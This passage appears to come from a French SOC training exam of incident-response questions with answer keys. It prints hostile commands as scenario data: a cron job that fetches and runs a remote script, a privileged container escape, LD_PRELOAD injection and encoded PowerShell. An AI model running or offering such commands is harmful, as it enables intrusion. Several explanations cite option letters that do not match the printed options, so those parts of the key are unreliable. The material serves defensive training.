.a Le développeur se trompe et utilise en réalité le tag `latest`. Le webhook fonctionne correctement en bloquant un déploiement non conforme. La connexion sortante est probablement une sonde de santé (health check) mal configurée. La réponse doit être de demander au développeur de vérifier .son manifeste de déploiement et d'investiguer la configuration de la sonde de santé du webhook

Incorrect. Cette analyse ignore le log crucial du pod webhook qui indique explicitement une défaillance sur l'image 'e-signalement:v1.2.1' et une tentative de connexion externe, liant directement les .deux événements

.b Le webhook d'admission a été compromis. Il a été modifié pour tenter de récupérer ses politiques depuis un serveur distant malveillant (185.X.X.X). Comme cette connexion est bloquée par le pare-feu, il utilise une politique locale de repli (fallback) qui refuse le déploiement. La réponse immédiate est de désactiver temporairement le webhook (ex: `kubectl delete validatingwebhookconfiguration secure-pods-webhook`) pour restaurer les déploiements, d'isoler le pod du webhook pour une analyse forensique, et d'auditer la pipeline CI/CD qui a déployé ce .webhook

.c La politique `failurePolicy: Ignore` du webhook est mal configurée. Elle devrait être définie sur `Fail` pour garantir que les pods ne puissent pas être créés si le webhook rencontre un problème. La connexion sortante est un problème distinct et non lié. La solution consiste à corriger la .`failurePolicy` et à redéployer le webhook

.d Une mauvaise configuration réseau ou une nouvelle règle sur le FortiGate bloque la connexion légitime du webhook vers un service externe requis (185.X.X.X), le forçant à utiliser une politique de repli défaillante. La réponse immédiate est de créer une exception dans le pare-feu pour .l'IP 185.X.X.X afin de restaurer la fonctionnalité du webhook, puis d'analyser pourquoi la politique de repli est incorrecte

.e .Aucune des réponses proposées

: Analyse technique

Ce scénario teste la capacité à diagnostiquer un incident complexe dans un environnement Kubernetes sécurisé, impliquant une compromission d'un composant de sécurité lui-même (le webhook d'admission). Le candidat doit corréler quatre sources de données distinctes pour reconstituer la chaîne .d'attaque

- Le log du pod webhook est la pièce maîtresse : il indique explicitement une tentative de connexion à une URL externe (`http://185.X.X.X/policy.json`) .pour récupérer sa configuration. C'est un comportement hautement suspect pour un composant de sécurité interne
- Les logs FortiGate et Wazuh confirment cette tentative de connexion sortante et le fait qu'elle a été bloquée, ce qui explique pourquoi le webhook a .échoué à récupérer sa politique distante
- L'erreur de déploiement, bien qu'elle mentionne le tag 'latest', est un faux-piste. Le log du webhook montre qu'il a échoué sur l'image 'v1.2.1'. L'erreur .retournée à l'utilisateur est probablement celle de la politique de repli (fallback) qui est trop restrictive
- La `failurePolicy: Ignore` n'est pas la cause. Elle s'applique si le webhook est inaccessible, mais ici, il est accessible et répond activement par un .refus

: Justification

La bonne réponse (B) est la seule qui synthétise correctement tous les éléments. Un attaquant a compromis le webhook (probablement via la pipeline CI/CD qui le déploie) pour qu'il charge une politique depuis un serveur C2. Le pare-feu a heureusement bloqué cette tentative, mais le webhook est passé à une politique de repli malveillante ou mal configurée, causant un déni de service pour les déploiements légitimes. La réponse correcte combine le confinement (isoler le pod), la restauration du service (désactiver temporairement le webhook) et l'investigation de la cause racine (auditer la CI/CD). Les autres options .sont des distracteurs plausibles qui représentent des conclusions hâtives ou des erreurs d'interprétation technique

La réponse correcte est : Le webhook d'admission a été compromis. Il a été modifié pour tenter de récupérer ses politiques depuis un serveur distant malveillant (185.X.X.X). Comme cette connexion est bloquée par le pare-feu, il utilise une politique locale de repli (fallback) qui refuse le déploiement. La réponse immédiate est de désactiver temporairement le webhook (ex: `kubectl delete validatingwebhookconfiguration secure-pods-webhook`) pour .restaurer les déploiements, d'isoler le pod du webhook pour une analyse forensique, et d'auditer la pipeline CI/CD qui a déployé ce webhook

Note de -0,25 sur 1,00 **Incorrect** **Question 17**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une activité suspecte sur un serveur Ubuntu critique (SRV-DATA-CRITICAL) : hébergeant une base de données PostgreSQL. Vous corréléz les indicateurs suivants

1. **Monitoring Système :** Le processus appartenant à l'utilisateur `postgres` montre des pics de consommation CPU intermittents, non corrélés .avec la charge de requêtes de la base de données

2. **Logs Réseau (FortiGate) :** Le serveur initie périodiquement des connexions HTTPS sortantes vers une adresse IP externe inconnue (91.X.X.X). Le trafic est chiffré, le volume est faible, et le User-Agent est `curl/7.68.0`.
3. **Analyse de l'Hôte :** La commande `crontab -l -u postgres` révèle une entrée suspecte : `*/5 * * * * curl -s https://pastebin.com/raw/aBcDeF12 | python3 -`.
4. **Alerte Wazuh :** Une alerte de faible sévérité signale la création et la suppression rapide d'un fichier temporaire dans `/tmp` par le processus `python3` juste après l'exécution du cron.

? En vous basant sur ces indicateurs, lequel des plans d'analyse et de réponse suivants est le plus techniquement correct et complet

a. L'attaque est une simple exfiltration par script. Le plan est : 1) Supprimer la tâche cron. 2) Bloquer l'URL Pastebin et l'IP externe sur le FortiGate. 3) Analyser le script Python pour comprendre les données volées. 4) Vérifier l'intégrité des fichiers système avec `debsums`.

Incorrect. Cette approche est superficielle et ne traite que le mécanisme de chargement, ignorant la charge utile principale qui s'exécute probablement en mémoire.

b. L'attaque est basée sur un binaire malveillant téléchargé. Le plan est : 1) Bloquer immédiatement l'IP externe sur le FortiGate. 2) Utiliser `strace` sur le processus `curl` pour tracer ses appels système et identifier le binaire téléchargé. 3) Supprimer le binaire malveillant et la tâche cron. 4) Mettre à jour les signatures de l'antivirus.

c. Le binaire `python3` a été remplacé par une version malveillante. Le plan est : 1) Vérifier la somme de contrôle du binaire `/usr/bin/python3` avec celle du paquet officiel. 2) Réinstaller le paquet `python3` pour le remplacer. 3) Bloquer l'IP externe sur le FortiGate. 4) Supprimer la tâche cron.

d. La base de données est compromise via une fonction malveillante (UDF). Le plan est : 1) Isoler le serveur du réseau. 2) Inspecter toutes les UDFs dans la base de données avec `\df+`. 3) Dumper la mémoire du processus `postgres` avec `gcore` pour analyse. 4) Restaurer la base de données à partir d'une sauvegarde saine.

e. Aucune des réponses proposées.

Incorrect.

Analyse technique : Le scénario décrit une attaque "fileless" sophistiquée. La tâche cron n'est qu'un mécanisme de chargement (loader) qui télécharge et exécute un script Python stager. Ce script télécharge probablement un binaire malveillant, le charge directement en mémoire (par exemple via les appels système `memfd_create` et `execveat`), puis supprime le fichier du disque (`/tmp`). Le malware s'exécute donc depuis la mémoire vive sous le contexte du processus `python3` (ou un de ses enfants), ce qui explique pourquoi le trafic réseau semble provenir d'un processus légitime et pourquoi aucun fichier malveillant persistant n'est trouvé.

Justification :

- **Option A est incorrecte** car elle est superficielle. Elle traite les symptômes (cron, script) mais ignore la menace principale qui s'exécute en mémoire.
- **Option B est incorrecte** car elle pose une mauvaise hypothèse. Rien n'indique une compromission via une UDF ; les preuves pointent vers un cron job.
- **Option C est incorrecte** car `strace` sur `curl` ne révélera que le téléchargement du script, pas l'exécution en mémoire qui se produit ensuite via `python3`. Elle se concentre sur le mauvais processus pour l'analyse dynamique.
- **Option D est incorrecte** car elle suppose une compromission du binaire `python3` lui-même, ce qui est une hypothèse moins probable que l'exécution d'un script malveillant par un interpréteur légitime.

La bonne approche serait d'isoler le serveur tout en le gardant en ligne, d'analyser les descripteurs de fichiers du processus `python3` suspect (via `/proc/<pid>/fd`) pour trouver une référence à `memfd:tristedeleted)`, de dumper la mémoire de ce processus pour extraire le binaire, puis de procéder au confinement réseau et à l'éradication de la persistance (cron). Aucune des options ne propose cette approche complète.

La réponse correcte est : Aucune des réponses proposées.

Noté sur 1,00 **Non répondue** **Question 18**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une activité suspecte sur un serveur Ubuntu critique (IP: 10.20.30.5) hébergeant une base de données PostgreSQL. Vous corrélez les indicateurs suivants :

1. **Logs FortiGate :** Un flux sortant de paquets UDP, de faible volume mais constant, est observé depuis le serveur 10.20.30.5 vers une adresse IP externe (185.x.x.x) sur un port non standard (UDP/1337).

2. **Analyse sur l'hôte :** La commande `netstat -unlp` confirme que le processus légitime `postgres` est à l'origine de cette connexion. Aucun autre processus suspect n'est visible.
3. **Alerte Wazuh/Auditd :** Une alerte de haute sévérité a été générée il y a quelques minutes, indiquant que le service PostgreSQL a été redémarré via la commande `pg_ctl restart -D /var/lib/postgresql/12/main`. L'analyse des détails de l'événement révèle que le processus parent a défini une variable d'environnement inhabituelle juste avant l'exécution : `LD_PRELOAD=/dev/shm/libsecure.so`. Une vérification ultérieure montre que le fichier `/dev/shm/libsecure.so` n'existe plus sur le disque.

En vous basant sur la corrélation de ces éléments, quelles sont les conclusions et les actions de réponse immédiates les plus critiques et techniquement justes ? (Plusieurs réponses sont correctes)

a. Aucune des réponses proposées.

b. L'anomalie provient probablement d'une extension PostgreSQL mal configurée ou malveillante. La première étape d'investigation doit être de se connecter à la base de données et d'exécuter `SELECT * FROM pg_extension;` pour lister les extensions installées et vérifier le paramètre `shared_preload_libraries` dans `postgresql.conf`.

c. La compromission est confirmée. Il faut immédiatement arrêter le service PostgreSQL avec `systemctl stop postgresql` pour tuer le processus malveillant, puis lancer un scan complet du système de fichiers avec un outil comme ClamAV pour trouver la source de l'infection.

d. L'attaquant a probablement utilisé une technique d'injection de bibliothèque partagée (shared library injection) via `LD_PRELOAD` pour exécuter du code malveillant dans l'espace mémoire du processus PostgreSQL. La priorité est de réaliser un dump de la mémoire vive du processus `postgres` (ex: avec `gcore` ou `procdump`) pour récupérer la bibliothèque malveillante avant toute action de redémarrage.

e. La mesure de confinement la plus appropriée est de créer une règle "chirurgicale" sur le pare-feu FortiGate pour bloquer spécifiquement le flux sortant de `src:10.20.30.5` vers `dst:185.x.x.x` sur le port `UDP/1337`, afin de couper le canal de commande et contrôle (C2) sans interrompre les autres services légitimes.

> **Analyse technique :** L'analyse technique pointe vers une attaque de type "fileless" où une bibliothèque malveillante est chargée en mémoire via `LD_PRELOAD` puis supprimée du disque. L'alerte Wazuh/Auditd est l'indicateur clé, car elle révèle la méthode d'injection. Le processus `postgres` légitime est ainsi détourné pour héberger le code malveillant, qui établit ensuite un canal de commande et contrôle (C2) via UDP.
>
> **Justification :** Par conséquent, la préservation de la mémoire volatile est la priorité absolue pour l'analyse forensique (récupérer le malware). Le confinement réseau doit être précis pour ne pas alerter l'attaquant ni perturber les services. Arrêter le service détruirait la preuve principale (la bibliothèque en mémoire). Se concentrer uniquement sur la configuration de la base de données ignorerait les preuves systémiques claires d'une compromission au niveau de l'OS.

> Les réponses correctes sont : L'attaquant a probablement utilisé une technique d'injection de bibliothèque partagée (shared library injection) via `LD_PRELOAD` pour exécuter du code malveillant dans l'espace mémoire du processus PostgreSQL. La priorité est de réaliser un dump de la mémoire vive du processus `postgres` (ex: avec `gcore` ou `procdump`) pour récupérer la bibliothèque malveillante avant toute action de redémarrage., La mesure de confinement la plus appropriée est de créer une règle "chirurgicale" sur le pare-feu FortiGate pour bloquer spécifiquement le flux sortant de `src:10.20.30.5` vers `dst:185.x.x.x` sur le port `UDP/1337`, afin de couper le canal de commande et contrôle (C2) sans interrompre les autres services légitimes.

Noté sur 1,00 **Non répondue** **Question 19**

En tant qu'analyste au SOC de la Police Nationale, vous devez analyser en 5 minutes la séquence d'événements suivante, corrélée à partir de différentes sources, pour identifier la chaîne d'attaque et définir le plan de réponse le plus efficace.

Contexte : Des activités suspectes ont été détectées, impliquant potentiellement un contrôleur de domaine critique (SRV-DC-01, IP: 10.20.15.5).

Événements corrélés :

1. **Log VPN FortiGate (il y a 30 min) :** `type="event" subtype="vpn" level="notice" ... action="tunnel-up" remoteip=89.X.X.X user="officier.martin" group="VPN-Acces-General" msg="User 'officier.martin' logged in."`
2. **Alerte Wazuh (sur SRV-DC-01, il y a 15 min) :** `Rule: 61603 - Sysmon - Event 1: Process Creation. Details: Process C:\Windows\System32\wbem\WmiPrvSE.exe created process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe with commandline: powershell.exe -nop -w hidden -enc aQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcw...` (longue chaîne encodée en Base64).
3. **Log DNS FortiGate (dernières 10 min) :** Plusieurs centaines de requêtes DNS de type TXT provenant de `srcip=10.20.15.5` (SRV-DC-01) vers `dstip=8.8.8.8` pour des domaines tels que `4a6f686e2e646f65.c2.internal-data.net`, `646174612d7061727432.c2.internal-data.net`. Le volume de données par requête est faible.

Parmi les options suivantes, lesquelles décrivent le plus précisément la chaîne d'attaque et la stratégie de réponse la plus appropriée ? (Plusieurs réponses peuvent être correctes)

a. **Réponse :** La priorité est de bloquer immédiatement tout le trafic DNS (port 53) sortant de SRV-DC-01 sur le FortiGate. Ensuite, il faut lancer une analyse antivirus complète sur le serveur pour supprimer le malware. Enfin, forcer un changement de mot de passe pour tous les utilisateurs.

b. **Analyse & Réponse :** L'attaquant a compromis le contrôleur de domaine et utilise un tunnel DNS pour le C2. La réponse immédiate doit être de désactiver le service WMI sur tous les serveurs du domaine via GPO pour empêcher tout mouvement latéral futur, puis de bloquer l'adresse IP du serveur C2 sur le pare-feu.

c. **Analyse :** L'attaquant a utilisé des identifiants VPN compromis ("officier.martin") pour accéder au réseau interne. Il a ensuite pivoté vers le contrôleur de domaine en utilisant une exécution de code à distance via WMI pour lancer un script PowerShell "fileless". Ce script exfiltre des données en les encodant dans des requêtes de type TXT via un tunnel DNS.

d. Aucune des réponses proposées.

e. **Analyse :** Une vulnérabilité critique sur le client VPN FortiGate a été exploitée pour accéder au réseau. L'attaquant a ensuite utilisé PsExec pour se déplacer latéralement et a établi un canal de commande et contrôle (C2) chiffré sur HTTPS pour exfiltrer les données.

f. **Réponse :** Le plan d'action prioritaire est : 1) Désactiver immédiatement le compte "officier.martin" et terminer sa session VPN. 2) Isoler SRV-DC-01 du réseau via une règle FortiGate (sauf pour l'équipe de réponse à incident). 3) Créer une règle de filtrage DNS sur le FortiGate pour bloquer toute requête vers le domaine `*.internal-data.net`. 4) Auditer les permissions du groupe "VPN-Acces-General".

Analyse technique :

Ce scénario décrit une attaque sophistiquée en plusieurs étapes, typique des menaces persistantes avancées (APT) qui utilisent des techniques "Living off the Land" pour rester furtives.

1. **Accès Initial :** Le log FortiGate montre une connexion VPN réussie. L'attaquant a probablement obtenu les identifiants de "officier.martin" par phishing ou autre moyen. Le groupe "VPN-Acces-General" suggère une politique d'accès potentiellement trop permissive.
2. **Mouvement Latéral et Exécution :** L'alerte Wazuh/Sysmon est cruciale. Le processus parent est `WmiPrvSE.exe`, le fournisseur de services WMI (Windows Management Instrumentation). Cela indique que l'attaquant n'a pas utilisé un outil comme PsExec, mais a plutôt utilisé WMI à distance (une technique furtive) pour exécuter une commande sur le contrôleur de domaine. La commande est un script PowerShell encodé en Base64, une technique classique pour masquer la charge utile et contourner les détections basiques. Il s'agit d'une exécution de code à distance via un service légitime.
3. **Exfiltration / C2 :** Les logs DNS montrent un comportement caractéristique du "DNS Tunneling". Les données sont encodées (ici, en hexadécimal dans les sous-domaines) et exfiltrées via des requêtes DNS de type TXT, qui permettent des charges utiles plus importantes que les requêtes A/AAAA. Le trafic est dirigé vers un résolveur public (8.8.8.8) pour masquer la destination finale du serveur C2 de l'attaquant, qui est le serveur autoritaire pour `.internal-data.net`. Cette technique est lente mais très efficace pour contourner les pare-feux qui autorisent généralement le trafic DNS sortant.

Justification des réponses :

- **Réponse A (Correcte) :** Identifie correctement les trois étapes clés : compromission de compte VPN, mouvement latéral via WMI (et non PsExec ou une vulnérabilité), et exfiltration par tunnel DNS. C'est l'analyse la plus précise de la situation.
- **Réponse D (Correcte) :** Propose un plan de réponse complet et priorisé. La première urgence est de couper l'accès de l'attaquant (désactiver le compte, tuer la session). Ensuite, il faut contenir la menace (isoler l'hôte compromis) et bloquer le canal de C2 (filtrage DNS). Enfin, la remédiation à long terme consiste à corriger la cause première (politiques VPN trop larges).
- **Réponses B, C, E (Incorrectes) :** Elles contiennent des erreurs d'analyse ou des actions inappropriées. B suggère une vulnérabilité VPN et une exfiltration HTTPS, ce qui contredit les logs. C propose de bloquer tout le trafic DNS, ce qui est une mesure trop disruptive et inefficace car le trafic passe par un résolveur public. E identifie correctement le tunnel DNS mais propose de bloquer WMI, ce qui est une action drastique et potentiellement dommageable pour l'administration légitime, et ne traite pas l'accès initial.

Les réponses correctes sont : **Analyse :** L'attaquant a utilisé des identifiants VPN compromis ("officier.martin") pour accéder au réseau interne. Il a ensuite pivoté vers le contrôleur de domaine en utilisant une exécution de code à distance via WMI pour lancer un script PowerShell "fileless". Ce script exfiltre des données en les encodant dans des requêtes de type TXT via un tunnel DNS., **Réponse :** Le plan d'action prioritaire est : 1) Désactiver immédiatement le compte "officier.martin" et terminer sa session VPN. 2) Isoler SRV-DC-01 du réseau via une règle FortiGate (sauf pour l'équipe de réponse à incident). 3) Créer une règle de filtrage DNS sur le FortiGate pour bloquer toute requête vers le domaine `*.internal-data.net`. 4) Auditer les permissions du groupe "VPN-Acces-General".

Noté sur 1,00 **Non répondue** **Question 20**

En tant qu'analyste au SOC de la Police Nationale, vous devez analyser la séquence d'événements suivante, corrélée à partir de différentes .sources, pour identifier la chaîne d'attaque et définir les actions de réponse les plus efficaces

: Contexte et Événements

1. **Alerte Wazuh (sur PC-ANALYSTE-01) :** Un processus `powershell.exe` a exécuté la commande `schtasks.exe /create /s SRV-WEB-DMZ /tn "UpdateCheck" /tr "powershell -enc ..." /sc daily /ru SYSTEM`.
2. **Log FortiGate :** Un flux SMB (TCP/445) est observé de `PC-ANALYSTE-01` vers `SRV-WEB-DMZ`, immédiatement suivi, quelques minutes plus tard, d'un flux WMI (TCP/135 et ports dynamiques) de `SRV-WEB-DMZ` vers le contrôleur de domaine `SRV-DC-01`.
3. **Alerte Sysmon (sur SRV-DC-01, via Wazuh) :** Un événement de type "WmiEventConsumerActivity" (Event ID 20) est détecté. Un consommateur d'événements WMI permanent nommé "Updater" a été créé dans l'espace de noms `root\subscription`, configuré pour exécuter un script PowerShell encodé en Base64.
4. **Log FortiGate :** Le serveur `SRV-DC-01` initie désormais des connexions HTTPS sortantes périodiques, à faible volume, vers une adresse IP externe non répertoriée, identifiée comme un canal de commande et de contrôle (C2).

Parmi les options suivantes, lesquelles décrivent le plus précisément la chaîne d'attaque et la stratégie de réponse la plus appropriée ? (Plusieurs réponses sont correctes)

- a. **Analyse de la chaîne d'attaque :** L'attaquant a utilisé le poste `PC-ANALYSTE-01` pour un mouvement latéral vers le serveur DMZ `SRV-WEB-DMZ` via une tâche planifiée (MITRE T1053.005). Ce serveur a ensuite servi de pivot pour établir une persistance furtive sur le contrôleur de domaine `SRV-DC-01` en créant un abonnement à un événement WMI (MITRE T1546.003), qui exécute la charge utile pour la communication C2.
- b. **Plan de réponse :** 1) Isoler immédiatement les trois machines (`PC-ANALYSTE-01`, `SRV-WEB-DMZ`, `SRV-DC-01`) au niveau du réseau. 2) Désactiver le compte utilisateur compromis. 3) Sur `SRV-DC-01`, utiliser PowerShell (`Get-WmiObject -Namespace root\subscription ...`) pour identifier et supprimer les composants de l'abonnement WMI malveillant (`__EventFilter`, `__EventConsumer`, `__FilterToConsumerBinding`). 4) Procéder à l'acquisition de la mémoire vive pour l'analyse forensique.
- c. Aucune des réponses proposées.
- d. **Analyse et réponse :** Le contrôleur de domaine a été compromis directement via une vulnérabilité WMI. La connexion depuis `PC-ANALYSTE-01` est un événement distinct. La priorité est de patcher le service WMI sur le DC et de réinitialiser le mot de passe du compte `krbtgt`.
- e. **Analyse et réponse :** L'incident principal est la tâche planifiée sur `SRV-WEB-DMZ`. La réponse doit se concentrer sur la suppression de cette tâche, la réinitialisation du mot de passe du compte SYSTEM sur ce serveur, et le blocage du trafic C2 du DC au niveau du pare-feu.
- f. **Plan de réponse :** La présence d'une activité malveillante sur le contrôleur de domaine justifie son arrêt immédiat (`shutdown -r -t 0`) pour empêcher la propagation, suivi d'une restauration à partir d'une sauvegarde saine.

Votre réponse est incorrecte.

: Analyse technique

Ce scénario décrit une attaque multi-étapes sophistiquée qui utilise des outils légitimes ("Living off the Land") pour se déplacer latéralement et établir une persistance furtive.

1. **Mouvement Latéral Initial :** L'attaquant, ayant compromis `PC-ANALYSTE-01`, utilise `schtasks.exe` pour créer une tâche planifiée sur `SRV-WEB-DMZ`. C'est une technique classique de mouvement latéral (MITRE T1053.005).
2. **Pivot et Persistance :** Le serveur DMZ est utilisé comme un pivot. De là, l'attaquant utilise WMI pour interagir avec le contrôleur de domaine. La création d'un abonnement WMI permanent (composé d'un filtre, d'un consommateur et d'une liaison) est une technique de persistance très efficace et furtive (MITRE T1546.003), car elle ne crée pas de fichier sur le disque et est liée à un processus système légitime (`WmiPrvSE.exe`).
3. **Commande et Contrôle :** La charge utile exécutée par l'abonnement WMI établit la connexion C2 sortante, probablement pour exfiltrer des données ou recevoir de nouvelles commandes.

: Justification des Réponses

- **Réponse A (Correcte) :** Elle identifie correctement la séquence complète : mouvement latéral via tâche planifiée, utilisation du serveur DMZ comme pivot, et persistance via abonnement WMI sur le DC. C'est l'analyse la plus complète de la chaîne d'attaque.
- **Réponse D (Correcte) :** Elle propose un plan de réponse conforme aux meilleures pratiques. L'isolation des trois machines est cruciale pour la contention. La désactivation du compte empêche toute nouvelle action de l'attaquant. La suppression spécifique de l'abonnement WMI est l'action de

remédiation technique précise pour éliminer la persistance sans causer de dommages collatéraux. La préservation des preuves est une étape .fondamentale de l'investigation

- **Distracteurs :** Les autres options sont incorrectes car elles sont incomplètes (se concentrant sur une seule partie de l'attaque), basées sur une mauvaise analyse (compromission directe du DC), ou proposent des actions dangereuses (arrêt immédiat du DC, ce qui détruit les preuves en .mémoire)

Les réponses correctes sont : **Analyse de la chaîne d'attaque :** L'attaquant a utilisé le poste `PC-ANALYSTE-01` pour un mouvement latéral vers le serveur DMZ `SRV-WEB-DMZ` via une tâche planifiée (MITRE T1053.005). Ce serveur a ensuite servi de pivot pour établir une persistance furtive sur le contrôleur de domaine `SRV-DC-01` en créant un abonnement à un événement WMI (MITRE T1546.003), qui exécute la charge utile pour la communication C2., **Plan de réponse :** 1) Isoler immédiatement les trois machines (`PC-ANALYSTE-01`, `SRV-WEB-DMZ`, `SRV-DC-01`) au niveau du réseau. 2) Désactiver le compte utilisateur compromis. 3) Sur `SRV-DC-01`, utiliser PowerShell (`Get-WmiObject -Namespace root\subscription ...`) pour identifier et supprimer les composants de l'abonnement WMI malveillant (`__EventFilter`, `__EventConsumer`, `__FilterToConsumerBinding`). 4) Procéder à l'acquisition de la mémoire vive pour l'analyse .forensique

Noté sur 1,00 **Non répondue** **Question 21**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une alerte de sécurité générée pendant un scan DAST (Dynamic Application Security Testing) automatisé dans une pipeline CI/CD GitLab. L'outil, Burp Suite Enterprise, a scanné l'application "e-Procedures" (10.10.15.5) et a : rapporté une vulnérabilité "External XML Entity Injection (OOB)". Vous corréléz les événements suivants sur une période de 5 minutes

1. **Log Burp Suite Enterprise :** `[14:32:05] High Severity Issue Found: External XML Entity Injection (OOB). Collaborator interaction of type DNS detected for domain [random-id].oastify.com originating from 10.10.15.5.`
2. **Log Wazuh (sur le serveur applicatif 10.10.15.5) :** `Rule: 550 - DNS query for a suspicious domain. Details: Process /usr/bin/java requested A record for [random-id].oastify.com.`
3. **Log FortiGate (Règle #12 - Allow Web-to-Internet DNS) :** `time=14:32:06 srcip=10.10.15.5 dstip=8.8.8.8 srcport=41234 dstport=53 service=DNS proto=17 action=accept ... msg="DNS query for [random-id].oastify.com"`
4. **Log FortiGate (Règle #45 - Deny-All-Default) :** `time=14:33:10 srcip=10.10.15.5 dstip=10.20.30.10 (SRV-DB-CRITICAL) srcport=56789 dstport=22 service=SSH proto=6 action=deny ... msg="Traffic denied by default rule"`

Sachant que le serveur de base de données PostgreSQL (10.20.30.10) est dans un VLAN hautement sécurisé et que la seule règle de pare-feu autorisée depuis le VLAN du serveur web est vers le port TCP/5432, quelles sont les conclusions et les actions de remédiation les plus précises et efficaces ? (Plusieurs réponses peuvent être correctes)

- a. L'attaquant (ou le scanner DAST simulant une attaque) a exploité la vulnérabilité XXE pour effectuer une attaque SSRF (Server-Side Request Forgery) en utilisant un wrapper de protocole (probablement `gopher://` ou `http://`) pour forcer le serveur web à initier une connexion SSH vers .la base de données, tentant ainsi un mouvement latéral
- b. .Aucune de ces réponses
- c. La remédiation doit inclure deux actions critiques : 1) Corriger la vulnérabilité XXE dans le code de l'application "e-Procedures" en désactivant l'interprétation des entités externes XML. 2) Auditer et renforcer les règles de pare-feu pour s'assurer que le VLAN web ne peut communiquer .avec le VLAN base de données que sur le port TCP/5432, et bloquer explicitement tout autre port
- d. Le serveur web 10.10.15.5 est compromis par un malware qui a d'abord testé sa connectivité externe (via le domaine oastify.com) avant de .tenter de se propager au serveur de base de données via SSH. La vulnérabilité XXE est un faux positif
- e. La vulnérabilité XXE a permis d'exfiltrer des données via DNS, comme le prouve l'interaction avec le collaborateur. La tentative de connexion SSH .est une attaque de brute-force distincte et non liée, provenant du même serveur web qui a été compromis par un autre moyen

Analyse technique : Ce scénario évalue la capacité à comprendre une chaîne d'attaque complexe qui va au-delà de l'alerte initiale. L'alerte de Burp Suite signale une vulnérabilité XXE via une interaction DNS externe (OOB), ce qui est une première étape. Cependant, l'indicateur le plus critique est la tentative de connexion SSH ultérieure, bloquée par le pare-feu. Un expert doit corréler ces deux événements : la vulnérabilité XXE n'a pas seulement été utilisée pour une simple exfiltration de données, mais a été transformée en une attaque SSRF (Server-Side Request Forgery). En utilisant des wrappers de protocole comme `gopher://` ou `http://` dans la charge utile XXE, l'attaquant a forcé le serveur web vulnérable à initier une connexion TCP arbitraire vers une cible interne (le serveur de .base de données) sur un port inattendu (22/SSH), dans le but de réaliser un mouvement latéral

: Justification

- Les réponses correctes identifient correctement le pivot XXE-vers-SSRF et proposent une stratégie de remédiation complète "défense en profondeur" : corriger la cause première (le code de l'application) et renforcer la couche réseau (règles de pare-feu) pour empêcher des pivots similaires même si une autre vulnérabilité était découverte.
- Les distracteurs sont plausibles mais erronés. L'un découple incorrectement les événements, ignorant la forte corrélation temporelle et de source. L'autre propose un scénario de malware moins probable qui ignore la preuve principale (l'alerte XXE) en la qualifiant de faux positif. Un bon analyste ne rejette pas les preuves claires et sait comment les différentes étapes d'une attaque peuvent être liées.

Les réponses correctes sont : L'attaquant (ou le scanner DAST simulant une attaque) a exploité la vulnérabilité XXE pour effectuer une attaque SSRF (Server-Side Request Forgery) en utilisant un wrapper de protocole (probablement `gopher://` ou `http://`) pour forcer le serveur web à initier une connexion SSH vers la base de données, tentant ainsi un mouvement latéral., La remédiation doit inclure deux actions critiques : 1) Corriger la vulnérabilité XXE dans le code de l'application "e-Procedures" en désactivant l'interprétation des entités externes XML. 2) Auditer et renforcer les règles de pare-feu pour s'assurer que le VLAN web ne peut communiquer avec le VLAN base de données que sur le port TCP/5432, et bloquer explicitement tout autre port.

Noté sur 1,00 **Non répondue** **Question 22**

: En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous investiguez une alerte critique. Vous corrélez les événements suivants

1. **Log FortiGate :** Une nouvelle connexion TCP sortante est détectée depuis l'adresse IP d'un nœud de travail Kubernetes (10.40.10.15) vers une IP externe suspecte (185.X.X.X) sur le port 4444. Le trafic est bloqué par la politique de sécurité par défaut.
2. **Alerte Wazuh (sur le nœud 10.40.10.15) :** Un processus s'exécutant dans un pod applicatif "e-Fiches" a généré un processus enfant inattendu : `docker run --privileged --net=host -v /:/mnt/host evil-image`.
3. **Log d'audit Kubernetes :** L'API Server a enregistré la création réussie d'un pod "e-Fiches" avec la configuration suivante dans son manifeste : `volumeMounts: - name: docker-sock mountPath: /var/run/docker.sock` et `volumes: - name: docker-sock hostPath: path: /var/run/docker.sock`.
4. **Log de la pipeline CI/CD (GitLab) :** La pipeline de l'application "e-Fiches" a réussi. L'étape de SAST, qui exécute l'image `sast-scanner:1.2`, n'a signalé aucune erreur. L'analyse du fichier `.gitlab-ci.yml` ne montre aucune configuration anormale ou malveillante. Cependant, une revue des artefacts de build montre que le fichier `deployment.yaml` a été modifié durant l'exécution de la pipeline, avant l'étape de déploiement.

En vous basant sur la corrélation de ces indicateurs, quelles sont les deux analyses et stratégies de remédiation les plus précises et complètes pour traiter la cause racine de cet incident ?

a. L'attaque est une compromission de la chaîne d'approvisionnement où l'image Docker `sast-scanner:1.2` a été remplacée par une version malveillante. La remédiation fondamentale consiste à renforcer l'intégrité des images utilisées dans la CI/CD en les figeant à leur digest immuable (ex: `sast-scanner@sha256:...`) au lieu d'un tag mutable, et en scannant régulièrement les images d'outils pour y détecter des malwares.

b. L'application "e-Fiches" contient une vulnérabilité de type RCE (Remote Code Execution). La remédiation consiste à patcher l'application, à reconstruire l'image, et à mettre en place une NetworkPolicy plus stricte pour bloquer tout trafic sortant non essentiel depuis le pod.

c. Le nœud Kubernetes 10.40.10.15 est compromis. La priorité est de drainer le nœud, de l'isoler du réseau via une règle FortiGate, et de le reconstruire à partir d'une image saine. L'analyse forensique du disque du nœud doit être effectuée pour trouver la persistance de l'attaquant.

d. Une faille de conception critique a permis le déploiement d'un pod avec un montage du socket Docker. La mesure de sécurité essentielle est de mettre en place un contrôleur d'admission (Admission Controller) comme Kyverno ou OPA Gatekeeper pour appliquer une politique interdisant ou restreignant sévèrement l'utilisation de `hostPath`, en particulier pour les chemins sensibles comme `/var/run/docker.sock`.

e. Aucune des réponses proposées.

